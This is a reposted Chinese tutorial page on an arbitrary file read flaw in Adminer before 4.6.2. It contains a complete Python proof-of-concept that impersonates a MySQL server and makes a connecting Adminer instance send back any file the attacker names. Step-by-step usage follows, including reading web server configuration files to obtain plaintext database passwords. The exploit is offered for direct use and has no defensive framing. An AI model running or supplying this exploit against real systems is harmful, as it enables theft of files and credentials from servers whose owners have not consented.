IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> mysql-adminer任意文件读取 -> 正文阅读

[网络协议]mysql-adminer任意文件读取

利用条件

1.adminer(版本小于4.6.2)可以远程连接数据库,
2.或者可以使靶机服务器主动连接自己的伪造的mysql服务器

原理

攻击者搭建一个伪造的mysql服务器,当有用户去连接上这个伪造的服务器时。
攻击者就可以任意读取受害者的文件内容。,也就是A连接B的数据库,B可以伪造假的数据库服务读取A服务器上的文件。
所以基于adminer连接的数据库可以反向利用连接自己的恶意服务器,从而达到读取任意文件的目的。

演示:

先下载好adminer,直接放在根路径即可:(攻击的服务器有adminerWeb服务)
image.png

poc

攻击机要有mysql服务并且使用2.7的python环境,kali自带,mysql服务虽然要有但不要开启,否则会报端口占用的错误
把下面文件保存成py文件

# coding=utf-8
import socket
import logging
import sys

logging.basicConfig(level=logging.DEBUG)

filename = sys.argv[1]
sv = socket.socket()
sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sv.bind(("", 3306))
sv.listen(5)
conn, address = sv.accept()
logging.info('Conn from: %r', address)
conn.sendall(
    "\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
conn.sendall(wantfile)
content = conn.recv(9999)
logging.info(content)
conn.close()

使用方式:

直接跟上要读取的文件绝对路径,然后就会处于监听状态,注意不能够直接读取文件夹
image.png
若出现下面的报错,则需要把mysql的3306端口关闭:

在web页面服务器ip输入攻击机ip(kali的Ip)剩下的
随便输入:
image.png
发现出现报错的绝对路径,并成功在kali服务器上接收到文件内容:

image.png
目前这个方法暂时不能针对超级弱口令爆破,因为会连接重置。但是正常登录下也是可以读取到任意文件
所以可以读取web服务的默认配置文件,若对目录足够熟悉可以直接读取web服务配置数据库的文件获取明文密码:

通过命令框连接

若可以在服务端执行命令,也可以直接读取。密码随便输

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-05-07 11:28:02  更:2022-05-07 11:28:41 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/26 1:25:17-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码